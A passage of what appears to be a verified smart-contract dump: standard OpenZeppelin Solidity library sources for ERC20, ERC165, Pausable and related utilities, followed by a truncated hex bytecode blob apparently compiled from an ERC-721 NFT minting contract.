and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../utils/Context.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
0x6080604052600436106102ae5760003560e01c80637910a26f11610175578063aedb952b116100dc578063d547cfb711610095578063e985e9c51161006f578063e985e9c514610a95578063edac985b14610ad2578063f2fde38b14610afb578063f958a65714610b24576102ae565b8063d547cfb714610a14578063d879128514610a3f578063df3fdf0014610a6a576102ae565b8063aedb952b14610904578063b6f75d651461092f578063b88d4fde14610958578063b9c3a81814610981578063c14b30b7146109ac578063c87b56dd146109d7576102ae565b80639d5a3f7c1161012e5780639d5a3f7c14610804578063a035b1fe1461082f578063a22cb4651461085a578063a3f568c614610883578063a88e0996146108ae578063ab90fb79146108d9576102ae565b80637910a26f146107045780637bd2bea71461072f5780638ad5de281461075a5780638da5cb5b1461078557806391b7f5ed146107b057806395d89b41146107d9576102ae565b806342966c6811610219578063627804af116101d2578063627804af146105e45780636352211e1461060d578063660e01e81461064a57806369ddd67d1461067357806370a08231146106b0578063715018a6146106ed576102ae565b806342966c68146104c2578063438b6300146104eb5780634f6ccce71461052857806355f804b3146105655780635c975abb1461058e5780635f89584e146105b9576102ae565b80631b7fe6b61161026b5780631b7fe6b6146103d557806323b872dd146104005780632f745c59146104295780633ccfd60b1461046657806340c10f191461047d57806342842e0e14610499576102ae565b806301ffc9a7146102b357806302329a29146102f057806306fdde0314610319578063081812fc14610344578063095ea7b31461038157806318160ddd146103aa575b600080fd5b3480156102bf57600080fd5b506102da60048036038101906102d59190613fb0565b610b4d565b6040516102e791906146d3565b60405180910390f35b3480156102fc57600080fd5b5061031760048036038101906103129190613f87565b610b5f565b005b34801561032557600080fd5b5061032e610c01565b60405161033b9190614709565b60405180910390f35b34801561035057600080fd5b5061036b60048036038101906103669190614043565b610c93565b6040516103789190614621565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613f0a565b610d18565b005b3480156103b657600080fd5b506103bf610e30565b6040516103cc9190614acb565b60405180910390f35b3480156103e157600080fd5b506103ea610e3d565b6040516103f79190614acb565b60405180910390f35b34801561040c57600080fd5b5061042760048036038101906104229190613e04565b610e43565b005b34801561043557600080fd5b50610450600480360381019061044b9190613f0a565b610ea3565b60405161045d9190614acb565b60405180910390f35b34801561047257600080fd5b5061047b610f48565b005b61049760048036038101906104929190613f0a565b611041565b005b3480156104a557600080fd5b506104c060048036038101906104bb9190613e04565b61134f565b005b3480156104ce57600080fd5b506104e960048036038101906104e49190614043565b61136f565b005b3480156104f757600080fd5b50610512600480360381019061050d9190613d9f565b6113cb565b60405161051f91906146b1565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a9190614043565b6114c5565b60405161055c9190614acb565b60405180910390f35b34801561057157600080fd5b5061058c60048036038101906105879190614002565b61155c565b005b34801561059a57600080fd5b506105a36115f2565b6040516105b091906146d3565b60405180910390f35b3480156105c557600080fd5b506105ce611609565b6040516105db9190614acb565b60405180910390f35b3480156105f057600080fd5b5061060b60048036038101906106069190613f0a565b61160f565b005b34801561061957600080fd5b50610634600480360381019061062f9190614043565b611784565b6040516106419190614621565b60405180910390f35b34801561065657600080fd5b50610671600480360381019061066c9190614043565b611836565b005b34801561067f57600080fd5b5061069a60048036038101906106959190613d9f565b6118bc565b6040516106a79190614acb565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d29190613d9f565b6118d4565b6040516106e49190614acb565b60405180910390f35b3480156106f957600080fd5b5061070261198c565b005b34801561071057600080fd5b50610719611a14565b6040516107269190614acb565b60405180910390f35b34801561073b57600080fd5b50610744611a1a565b60405161075191906146ee565b60405180910390f35b34801561076657600080fd5b5061076f611a40565b60405161077c9190614acb565b60405180910390f35b34801561079157600080fd5b5061079a611a45565b6040516107a79190614621565b60405180910390f35b3480156107bc57600080fd5b506107d760048036038101906107d29190614043565b611a6f565b005b3480156107e557600080fd5b506107ee611af5565b6040516107fb9190614709565b60405180910390f35b34801561081057600080fd5b50610819611b87565b6040516108269190614acb565b60405180910390f35b34801561083b57600080fd5b50610844611bab565b6040516108519190614acb565b60405180910390f35b34801561086657600080fd5b50610881600480360381019061087c9190613ece565b611bb1565b005b34801561088f57600080fd5b50610898611d32565b6040516108a59190614acb565b60405180910390f35b3480156108ba57600080fd5b506108c3611d38565b6040516108d091906146d3565b60405180910390f35b3480156108e557600080fd5b506108ee611d4b565b6040516108fb9190614acb565b60405180910390f35b34801561091057600080fd5b50610919611d51565b6040516109269190614acb565b60405180910390f35b34801561093b57600080fd5b5061095660048036038101906109519190613f0a565b611d57565b005b34801561096457600080fd5b5061097f600480360381019061097a9190613e53565b612069565b005b34801561098d57600080fd5b506109966120cb565b6040516109a39190614acb565b60405180910390f35b3480156109b857600080fd5b506109c16120d1565b6040516109ce9190614acb565b60405180910390f35b3480156109e357600080fd5b506109fe60048036038101906109f99190614043565b6120d9565b604051610a0b9190614709565b60405180910390f35b348015610a2057600080fd5b50610a296121b7565b604051610a369190614709565b60405180910390f35b348015610a4b57600080fd5b50610a54612245565b604051610a619190614acb565b60405180910390f35b348015610a7657600080fd5b50610a7f61224b565b604051610a8c9190614709565b60405180910390f35b348015610aa157600080fd5b50610abc6004803603810190610ab79190613dc8565b612284565b604051610ac991906146d3565b60405180910390f35b348015610ade57600080fd5b50610af96004803603810190610af49190613f46565b612318565b005b348015610b0757600080fd5b50610b226004803603810190610b1d9190613d9f565b61243c565b005b348015610b3057600080fd5b50610b4b6004803603810190610b469190613f87565b612534565b005b6000610b58826125cd565b9050919050565b610b67612647565b73ffffffffffffffffffffffffffffffffffffffff16610b85611a45565b73ffffffffffffffffffffffffffffffffffffffff1614610bdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd2906149ab565b60405180910390fd5b600115158115151415610bf557610bf061264f565b610bfe565b610bfd6126f2565b5b50565b606060008054610c1090614e04565b80601f0160208091040260200160405190810160405280929190818152602001828054610c3c90614e04565b8015610c895780601f10610c5e57610100808354040283529160200191610c89565b820191906000526020600020905b815481529060010190602001808311610c6c57829003601f168201915b5050505050905090565b6000610c9e82612794565b610cdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd49061498b565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610d2382611784565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8b90614a2b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610db3612647565b73ffffffffffffffffffffffffffffffffffffffff161480610de25750610de181610ddc612647565b612284565b5b610e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e18906148eb565b60405180910390fd5b610e2b8383612800565b505050565b6000600880549050905090565b600b5481565b610e54610e4e612647565b826128b9565b610e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8a90614a6b565b60405180910390fd5b610e9e838383612997565b505050565b6000610eae836118d4565b8210610eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee69061478b565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b610f50612647565b73ffffffffffffffffffffffffffffffffffffffff16610f6e611a45565b73ffffffffffffffffffffffffffffffffffffffff1614610fc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbb906149ab565b60405180910390fd5b610fcc611a45565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505061103f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103690614a4b565b60405180910390fd5b565b611049611a45565b73ffffffffffffffffffffffffffffffffffffffff16611067612647565b73ffffffffffffffffffffffffffffffffffffffff16146110cb5761108a6115f2565b156110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c1906148cb565b60405180910390fd5b5b6000816010546110db9190614c9c565b9050426361a45e501115611124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111b906147ab565b60405180910390fd5b610b4882600c546111359190614c15565b1115611176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116d9061488b565b60405180910390fd5b600a8211156111ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b19061476b565b60405180910390fd5b803410156111fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f490614a0b565b60405180910390fd5b601260009054906101000a900460ff16156112eb5781601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611294576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128b9061482b565b60405180910390fd5b81601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112e39190614cf6565b925050819055505b60005b828110156113495761130284600b54612bf3565b6001600c60008282546113159190614c15565b925050819055506001600b600082825461132f9190614c15565b92505081905550808061134190614e67565b9150506112ee565b50505050565b61136a83838360405180602001604052806000815250612069565b505050565b61138061137a612647565b826128b9565b6113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690614aab565b60405180910390fd5b6113c881612c2e565b50565b606060006113d8836118d4565b905060008167ffffffffffffffff81111561141c577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561144a5781602001602082028036833780820191505090505b50905060005b828110156114ba576114628582610ea3565b82828151811061149b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505080806114b290614e67565b915050611450565b508092505050919050565b60006114cf610e30565b8210611510576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150790614a8b565b60405180910390fd5b6008828154811061154a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b611564612647565b73ffffffffffffffffffffffffffffffffffffffff16611582611a45565b73ffffffffffffffffffffffffffffffffffffffff16146115d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cf906149ab565b60405180910390fd5b80601490805190602001906115ee929190613b18565b5050565b6000600a60149054906101000a900460ff16905090565b610b4881565b611617612647565b73ffffffffffffffffffffffffffffffffffffffff16611635611a45565b73ffffffffffffffffffffffffffffffffffffffff161461168b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611682906149ab565b60405180910390fd5b6101bc81600d5461169c9190614c15565b11156116dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d49061488b565b60405180910390fd5b601e811115611721576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117189061476b565b60405180910390fd5b60005b8181101561177f5761173883600b54612bf3565b6001600d600082825461174b9190614c15565b925050819055506001600b60008282546117659190614c15565b92505081905550808061177790614e67565b915050611724565b505050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561182d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118249061492b565b60405180910390fd5b80915050919050565b61183e612647565b73ffffffffffffffffffffffffffffffffffffffff1661185c611a45565b73ffffffffffffffffffffffffffffffffffffffff16146118b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a9906149ab565b60405180910390fd5b8060118190555050565b60136020528060005260406000206000915090505481565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611945576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193c9061490b565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611994612647565b73ffffffffffffffffffffffffffffffffffffffff166119b2611a45565b73ffffffffffffffffffffffffffffffffffffffff1614611a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ff906149ab565b60405180910390fd5b611a126000612d3f565b565b600d5481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a81565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611a77612647565b73ffffffffffffffffffffffffffffffffffffffff16611a95611a45565b73ffffffffffffffffffffffffffffffffffffffff1614611aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae2906149ab565b60405180910390fd5b8060108190555050565b606060018054611b0490614e04565b80601f0160208091040260200160405190810160405280929190818152602001828054611b3090614e04565b8015611b7d5780601f10611b5257610100808354040283529160200191611b7d565b820191906000526020600020905b815481529060010190602001808311611b6057829003601f168201915b5050505050905090565b60006106146101bc610b48611b9c9190614c15565b611ba69190614c15565b905090565b60105481565b611bb9612647565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1e9061486b565b60405180910390fd5b8060056000611c34612647565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611ce1612647565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611d2691906146d3565b60405180910390a35050565b60115481565b601260009054906101000a900460ff1681565b600c5481565b600e5481565b611d5f611a45565b73ffffffffffffffffffffffffffffffffffffffff16611d7d612647565b73ffffffffffffffffffffffffffffffffffffffff1614611de157611da06115f2565b15611de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd7906148cb565b60405180910390fd5b5b600081601154611df19190614c9c565b905061061482600e54611e049190614c15565b1115611e45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3c9061488b565b60405180910390fd5b600a821115611e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e809061476b565b60405180910390fd5b80600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401611ee59190614621565b60206040518083038186803b158015611efd57600080fd5b505afa158015611f11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f35919061406c565b1015611f76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040